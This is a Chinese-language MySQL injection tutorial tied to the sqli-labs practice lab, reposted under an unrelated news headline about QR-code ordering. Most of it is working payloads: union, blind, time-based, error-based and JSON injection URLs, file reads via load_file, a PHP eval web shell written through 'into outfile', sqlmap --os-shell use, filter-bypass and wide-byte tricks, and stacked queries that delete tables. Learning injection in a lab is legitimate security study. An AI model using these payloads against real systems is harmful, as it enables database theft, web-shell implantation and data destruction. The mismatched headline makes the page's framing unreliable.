1. 程式人生 > 資訊 >央視網評掃碼點餐過度索權:不知道我身份證號,廚師就不能炒菜了?

央視網評掃碼點餐過度索權:不知道我身份證號,廚師就不能炒菜了?

Mysql注入學習,配合sqllab學習。除了sqllab的內容外增加了 JSON報錯注入報錯注入讀寫檔案資料庫拿Shell

常用函式

#系統函式
1. version()  MySQL 版本 
2. user()  資料庫使用者名稱 
3. database()  資料庫名 
4. @@datadir  資料庫路徑 
5. @@version_compile_os  作業系統版本
6. @@basedir 資料庫安裝路徑
7. @@version_compile_os 作業系統

#字串連線函式
1. concat(str1,str2,...)  沒有分隔符地連線字串 
2. concat_ws(separator,str1,str2,...)  含有分隔符地連線字串 
3. group_concat(str1,str2,...)  連線一個組的所有字串,並以逗號分隔每一條資料

#一般用於嘗試的是否存在注入的語句
or 1=1--+ 
'or 1=1--+ 
"or 1=1--+ 
)or 1=1--+ 
')or 1=1--+ 
") or 1=1--+ 
"))or 1=1--+
% or 1=1--+ 
以此類推。。。
PS:--+可以用#替換,url 提交過程中 Url 編碼後的#為%23

注入流程

​ 一個數據庫當中有很多的資料表,資料表當中有很多的列,每一列當中儲存著資料。我們注入的過程就是先拿到資料庫名,在獲取到當前資料庫名下的資料表,再獲取當前資料表下的列,最後獲取資料。

#查詢資料庫
show databases;

#選擇資料庫
use security;

#查詢表
show tables;

#查看錶結構
desc emails;

使用系統資料庫進行注入

#系統資料庫information_schema
use information_schema

#查詢資料庫
select schema_name from information_schema.schemata

#查詢表
select table_name from information_schema.tables where table_schema=’xxxxx’

#查詢表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’

#獲取某列的內容
Select *** from ****

注入點探測

尋找引數進行注入嘗試

or 1=1--+ 
'or 1=1--+ 
"or 1=1--+ 
)or 1=1--+ 
')or 1=1--+ 
") or 1=1--+ 
"))or 1=1--+
% or 1=1--+ 
以此類推。。。

注入嘗試

union注入

  • order by 測試 select * 的個數

    http://127.0.0.1/sqllib/Less-1/?id=1' order by 3--+
    
  • 判斷顯示位

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,2,3--+
    
  • 爆資料庫名

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
    
  • 爆security中的表名

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
    
  • 爆users表的列

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    
  • 爆資料

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,username,password from users where id=2--+
    

技巧總結

  • id=1'--+ 、 id=1--+ 是否報錯可以判斷出接收的引數是整數型還是字元型。id=1'--+不報錯證明為字元型, id=1--+不報錯證明為整數型,反之亦然。

  • Less-1—Less-4 注入方式基本一樣,都是用上面的union注入,主要是引數的閉合方式不同。分別是 ' 、空 、 ') 、 ")。

盲注

盲注就是在 sql 注入過程中,sql 語句執行後,選擇的資料不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。

盲注分為3類:

  • 基於布林 SQL 盲注
  • 基於時間的 SQL 盲注
  • 基於報錯的 SQL 盲注

基於布林 SQL 盲注

通過構造邏輯判斷進行注入。

布林 SQL 盲注,需要利用擷取字串函式,常用的函式有:mid(),substr(),left()

Ascii()將某個字元轉換為 ascii 值 ascii(substr((select database()),1,1))=98

Ord()函式同 ascii(),將字元轉為 ascii 值

regexp 正則注入 select user() regexp '[1]'; 判斷user() 第一位

select user() regexp '^r[a-z]';判斷user() 第二位

like 匹配注入 select user() like ‘ro%’

mid()函式

MID(column_name,start[,length])

引數 描述
column_name 必需。要提取字元的欄位。
start 必需。規定開始位置(起始值是 1)。
length 可選。要返回的字元數。如果省略,則 MID() 函式返回剩餘文字。

Sql用例:

(1)MID(database(),1,1)>’a’,檢視資料庫名第一位,MID(DATABASE(),2,1)檢視資料庫名第二位,依次檢視各位字元。

(2)MID((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此處column_name引數可以為sql語句,可自行構造sql語句進行注入。

substr()函式

substr()和substring()函式實現的功能是一樣的,均為擷取字串。

substring(string, start, length)、substr(string, start, length)

引數描述同mid()函式,第一個引數為要處理的字串,start為開始位置,length為擷取的長度。

Sql用例:

(1) substr(database(),1,1)>’a‘,檢視資料庫名第一位,substr(database(),2,1)檢視資料庫名第二位,依次檢視各位字元。

(2) substr((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此處string引數可以為sql語句,可自行構造sql語句進行注入。

Left()函式

Left()得到字串左部指定個數的字元

Left ( string, n) string為要擷取的字串,n為長度。

引數 描述
string 必需。要提取字元的欄位。
n 必需。提取字元長度。

Sql用例:

(1) left(database(),1)>’a’,檢視資料庫名第一位,left(database(),2)>’ab’,檢視資料庫名前二位。

(2) 同樣的string可以為自行構造的sql語句。

基於正確和不正確的返回顯示不同
#版本號判斷
http://127.0.0.1/Less-5/?id=1 ' and left(version(),1)=5 --+
#判斷資料庫名位數
http://127.0.0.1/Less-5/?id=1 ' and length(database())=8 --+
#判斷資料庫名第一個字母
http://127.0.0.1/Less-5/?id=1 ' and left(database(),1)='a'--+
#這裡可以利用burp進行爆破,使用ascii()進行編碼爆破65-122(A-Z,a-z)
http://127.0.0.1/Less-5/?id=1 ' and ascii(left(database(),1))=101--+
#substr()可以替換上面的left使用,效果一樣。
#爆資料庫名
http://127.0.0.1/Less-5/?id=1 ' and ascii(substr(database(),1))=101--+
==http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=101--+

#爆表名 得知資料庫名後可以替換database(),獲取表名的第二個只需要substr(**,2,1)即可。
http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

#獲取第二個表
上述的語句中使用的 limit 0,1. 意思就是從第 0 個開始,獲取第一個,那要獲取第二個就是 limit 1,1
#regexp 正則匹配
http://127.0.0.1/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

基於報錯的 SQL 盲注

構造 payload 讓資訊通過錯誤提示回顯出來

十種報錯函式:

  • floor()
  • extractvalue()
  • updatexml()
  • geometrycollection()
  • multipoint()
  • polygon()
  • multipolygon()
  • linestring()
  • multilinestring()
  • exp()

常用的報錯函式

floor():floor函式的作用是返回小於等於該值的最大整數,也可以理解為向下取整,只保留整數部分。

extractvalue():對XML文件進行查詢的函式。

updatexml():更新xml文件的函式。

#floor報錯返回使用者名稱
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

# 利用xpath函式報錯注入
http://127.0.0.1/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

# 利用updatexml函式報錯注入
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

#利用資料的重複性
http://127.0.0.1/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+

#版本問題沒有成功輸出想要的資料
#利用 double 數值型別超出範圍進行報錯注入
http://127.0.0.1/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
#利用bigint溢位進行報錯注入
http://127.0.0.1/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

JSON報錯注入

從 MySQL 5.7.8 開始支援由RFC 7159 JSON 定義的本機資料型別 ,可以有效地訪問 JSON(JavaScript Object Notation)文件中的資料

  • JSON_TYPE()

    JSON_TYPE(version())

​ 此函式獲取JSON值的型別,當我們傳入的值不屬於json格式則報錯。

http://127.0.0.1/Less-1/?id=1'and JSON_TYPE(version())%23
  • JSON_EXTRACT()

    JSON_EXTRACT(json_doc, path[, path] ...)

​ 此函式從 JSON 文件中返回資料,從與path引數匹配的文件部分中選擇.

#當第一個引數不是json型別的值則報錯
http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT(version(), '$[1]')%23
http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT((select user()),'$.a')%23
#當第二個引數不是指定格式的字元時也報錯
http://127.0.0.1/Less-1/?id=1'and json_extract('[1]',version())%23
http://127.0.0.1/Less-1/?id=1'and json_extract('{"a":1,"a":2}',version())%23
  • JSON_ARRAY_APPEND()

    JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...)

​ 將值附加到 JSON 文件中指定陣列的末尾並返回結果,報錯輸出原理和json_extract函式相同。

http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND(version(),1,1)%23
http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND('[1,2]',version(),1)%23

報錯注入讀寫檔案

#讀檔案
http://127.0.0.1/Less-1/?id=1' and (exp(~(select*from(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php'))a)));

http://127.0.0.1/Less-1/?id=-1 and (extractvalue(1,concat(0x7e,(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php')),0x7e)))

#寫檔案 寫檔案預設就是隻能建立檔案,無法寫入內容。
http://127.0.0.1/Less-1/?id=-1 and  exp(~(select*from(select 'hello')a)) into outfile 'C:\\inetpub\\wwwroot\\target_sys.com\\data\\config.inc.txt';

基於時間的 SQL 盲注

如果條件成立,延遲返回資料。

如:If(ascii(substr(database(),1,1))=115,sleep(5),0)%23 //if 判斷語句,條件為真,執行 sleep,返回延遲5秒。

資料庫 函式
Mysql BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql PG_SLEEP(5) or GENERATE_SERIES(1,10000)
Ms sql WAITFOR DELAY ‘0:0:5’
#利用 sleep()函式進行注入 if(條件語句,ture輸出,錯誤輸出)
http://127.0.0.1/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

#利用benchmark()函式延時注入
#當結果正確的時候,執行 ENCODE('MSG','by 5 seconds')操作 50000000 次,會佔用一段時間
http://127.0.0.1/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

匯入匯出相關操作

load_file()讀檔案

Load_file(file_name):讀取一個檔案並將其內容作為字串返回。

使用條件:

  • 必須有許可權讀取並且檔案必須完全可讀

    and (select count(*) from mysql.user)>0 --+/* 如果結果返回正常,說明具有讀寫許可權。

    and (select count(*) from mysql.user)>0 --+/* 返回錯誤,應該是管理員給資料庫帳戶降權

  • 欲讀取檔案必須在伺服器上

  • 必須指定檔案完整的路徑

  • 欲讀取檔案必須小於 max_allowed_packet

在實際的注入中,我們有兩個難點需要解決:

  • 絕對物理路徑

  • 構造有效的畸形語句 (報錯爆出絕對路徑)

在很多 PHP 程式中,當提交一個錯誤的 Query,如果 display_errors = on,程式就會暴露 WEB 目錄的絕對路徑。

#利用 hex()將檔案內容匯出來
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))

#ASCII 程式碼 "c:/boot.ini"
-1 union select 1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

#“c:/boot.ini”的 16 進位制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,load_file(0x633a2f626f6f742e696e69)

#路徑裡的/用 \\代替
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,1,load_file("C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php")--+

load data infile 讀檔案裝入資料表

load data infile 語句用於高速地從一個文字檔案中讀取行,並裝入一個表中。檔名稱必須為一個文字字串。

例子:

load data infile '/tmp/test.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

character set gbk 是字符集設定為 gbk,fields terminated by 是每一項資料之間的分隔符,lines terminated by 是行的結尾符。

select ... int outfile寫檔案

利用條件

  1. 此方法利用的先決條件
  • web目錄具有寫許可權,能夠使用單引號
  • 知道網站絕對路徑(根目錄,或則是根目錄往下的目錄都行)
  • secure_file_priv沒有具體值(在mysql/my.ini中檢視)
  1. secure_file_priv

secure_file_priv是用來限制load dumpfile、into outfile、load_file()函式在哪個目錄下擁有上傳和讀取檔案的許可權。如下關於secure_file_priv的配置介紹

當secure_file_priv的值為null ,表示限制mysqld 不允許匯入/匯出
當secure_file_priv的值為/tmp/ ,表示限制mysqld 的匯入/匯出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysqld 的匯入/匯出做限制

#檢視secure-file-priv引數的值
show global variables like '%secure%';

#修改secure_file_priv 的值
在mysql/my.ini中檢視是否有secure_file_priv的引數,如果沒有的話我們就新增 secure_file_priv = ' ' 即可

**select.....into outfile 'file_name' **

可以把被選擇的行寫入一個檔案中。該檔案被建立到伺服器主機上,因此您必須擁有 FILE許可權,才能使用此語法。file_name 不能是一個已經存在的檔案。

例子:

#第一種直接將 select 內容寫到檔案中 使用斜槓轉義
select version() into outfile “c:\\phpnow\\htdocs\\test.php”
#此處將 version()替換成一句話<?php @eval($_post[“mima”])?>
select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

#第二種修改檔案結尾
select version() into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 進位制檔案
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,'<?php @eval($_post["mima"])?>'  into outfile"C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\1.php"--+

os-shell

--os-shell就是使用udf提權獲取WebShell。也是通過into oufile向伺服器寫入兩個檔案,一個可以直接執行系統命令,一個進行上傳檔案,此為sqlmap的一個命令,利用這條命令的先決條件:

  • 要求為DBA,--is-dba(phpstudy搭建的一般為DBA)
  • 知道網站的絕對路徑
  • secure_file_priv = ' '
  • get_magic_quotes_gpc()為off,php主動轉義的功能關閉
sqlmap -u http://xxxx --os-shell

sqlmap在指定的目錄生成了兩個檔案(檔名是隨機的,並不是固定的):

  • tmpbjvuo.php 用來執行系統命令
  • tmpuyett.php 用來上傳檔案
#命令執行
http://192.168.1.100/tmpbjvuo.php?cmd=whoami
#上傳檔案
http://192.168.1.100/tmpuyett.php

增刪函式

Insert

增加一行資料

insert into users values('16','lcamry','lcamry');

delete

#刪資料
delete from 表名; 
delete from 表名 where id=1; 

刪資料庫:drop database 資料庫名; 
刪除表:drop table 表名; 
刪除表中的列:alter table 表名 drop column 列名; 

updata

updata 表名 set 列名='新的值';  新的值,非數字加單引號
updata 表名 set 列名='新的值,非數字加單引號' where id=6;

addslashes()

addslashes() 函式返回在預定義字元之前新增反斜槓的字串。

預定義字元是:

  • 單引號(')

  • 雙引號(")

  • 反斜槓(\)

  • NULL

    addslashes(string)

  • Notice:使用 addslashes(),我們需要將 mysql_query 設定為 binary 的方式,才能防禦寬位元組的注入。

    Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

stripslashes()

函式刪除由 addslashes() 函式新增的反斜槓。

mysql_real_escape_string()

函式轉義 SQL 語句中使用的字串中的特殊字元。

下列字元受影響:

  • \x00

  • \n

  • \r

  • \

  • '

  • "

  • \x1a

如果成功,則該函式返回被轉義的字串。如果失敗,則返回 false。

語法:mysql_real_escape_string(string,connection)

string 必需。規定要轉義的字串。

connection 可選。規定 MySQL 連線。如果未規定,則使用上一個連線。

HTTP頭注入

  • User-Agent
  • Referer
  • Cookie
  • X-Forwarded-for
  • Host

二次排序注入

二次排序注入也成為儲存型的注入,就是將可能導致 sql 注入的字元先存入到資料庫中,當再次呼叫這個惡意構造的字元時,就可以出發 sql 注入。

繞過

1、#,--註釋符號的過濾,使用‘進行閉合
-1' union select 1,@@datadir,'3

(1)id=-1,為什麼要用-1,因為 sql 語句執行了兩個 select 語句,第一個 select 為 id 的選擇語句,第二個為我們構造的 select 語句。只有一個數據可以輸出,為了讓我們自己構造的資料可以正常輸出,第一個select要沒有結果,所以-1或者超過資料庫所有資料都可以。 
(2)-1' union select 1,@@datadir,’3,第一個’(單引號)閉合-1,第二個’(單引號)閉合後面的。這樣將查詢內容顯示在username處。 
(3)此處可以報錯注入,延時注入, 可以利用or ‘1’=’1進行閉合。

2、or and 過濾
(1)大小寫變形 Or,OR,oR 
(2)編碼,hex,urlencode 
(3)添加註釋/*or*/ 
(4)利用符號 and=&& or=||

3、過濾空格
(1)%09 TAB 鍵(水平) 
(2)%0a 新建一行 
(3)%0c 新的一頁 
(4)%0d return 功能 
(5)%0b TAB 鍵(垂直) 
(6)%a0 空格

4、過濾union,select
(1)大小寫混合

資料庫與web站點可能是分離的

寬位元組注入

過濾 ‘ \的情況下,寬位元組注入好使。mysql 在使用 GBK 編碼的時候,會認為兩個字元為一個漢字,例如%aa%5c 就是一個漢字(前一個 ascii 碼大於 128 才能到漢字的範圍)我們在過濾 ’ 的時候,往往利用的思路是將 ‘ 轉換為 \’

因此我們在此想辦法將 ‘ 前面新增的 \ 除掉,一般有兩種思路:

1、%df 吃掉 \ 具體的原因是 urlencode(‘\) = %5c%27,我們在%5c%27 前面新增%df,形成 %df%5c %27,而上面提到的 mysql 在 GBK 編碼方式的時候會將兩個位元組當做一個漢字,此時 %df%5c 就是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。

2、將 \’ 中的 \ 過濾掉,例如可以構造 %**%5c%5c%27 的情況,後面的%5c 會被前面的%5c 給註釋掉。

get 型的方式我們是以 url 形式提交的,因此資料會通過 URLencode,在 post 型的注入當中,將 utf-8 轉換為 utf-16 或 utf-32

%df
' utf-8 轉換為 utf-16
' utf-8 轉換為 utf-32

堆疊注入

命令列中,每一條語句結尾加 ; 表示語句結束。堆疊注入是指可以多句一起使用。

使用者輸入: 
	1; DELETE FROM products 
伺服器端生成的 sql 語句為:(因未對輸入的引數進行過濾) 
	Select * from products where productid=1;DELETE FROM products

堆疊注入的侷限性在於並不是每一個環境下都可以執行,可能受到 API 或者資料庫引擎不支援的限制.

order by / limit 後的注入

sql 語句為$sql = "SELECT * FROM users ORDER BY $id";

注入嘗試: sort=1 desc 或者 sort=1 asc,顯示結果不同。則表明可以注入。 order by 不同於的我們在 where 後的注入點,不能使用 union 等進行注入。

1、order by 後的數字可以作為一個注入點。也就是構造 order by 後的一個語句,讓該語句執行結果為一個數
http://127.0.0.1/Less-46/?sort=right(version(),1)  沒有報錯,但是 right 換成 left 都一樣,說明數字沒有起作用,我們考慮布林型別、報錯注入和延時注入
?sort= 後面的一個引數。此時,我們可以有三種形式:
①直接添加註入語句,?sort=(select ******) 
	報錯注入
	http://127.0.0.1/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
	延時注入
	http://127.0.0.1/Less-46/?sort=(select if(substr(current,1,1)=char(115), BENCHMARK(50000000,md5('1')),null) from (select database() as current) as tb1)
	
	
②利用一些函式。例如 rand()函式等。?sort=rand(sql 語句) 
	rand(ture)和 rand(false)的結果是不一樣
	http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=115)
	http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=116
	對比 rand(ture)和 rand(false)的結果,可以看出報錯注入是成功的
	
③利用 and,例如?sort=1 and (加 sql 語句)
	延時注入
	http://127.0.0.1/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
	
2、procedure analyse
利用 procedure analyse 引數,我們可以執行報錯注入。同時,在procedure analyse和 order by 之間可以存在 limit 引數,我們在實際應用中,往往也可能會存在 limit 後的注入,可以利用 procedure analyse 進行注入。
	http://127.0.0.1/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1) 不成功
	將查詢結果匯入到檔案當中into outfile
	http://127.0.0.1/Less-46/?sort=1 into outfile "D:\\software\\wamp\\www\\sql\\test1.txt"
	寫入馬phpinfo.php lines terminated by 0x(網馬進行 16 進位制轉換)
	http://127.0.0.1/Less-46/?sort=1 into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x

  1. a-z ↩︎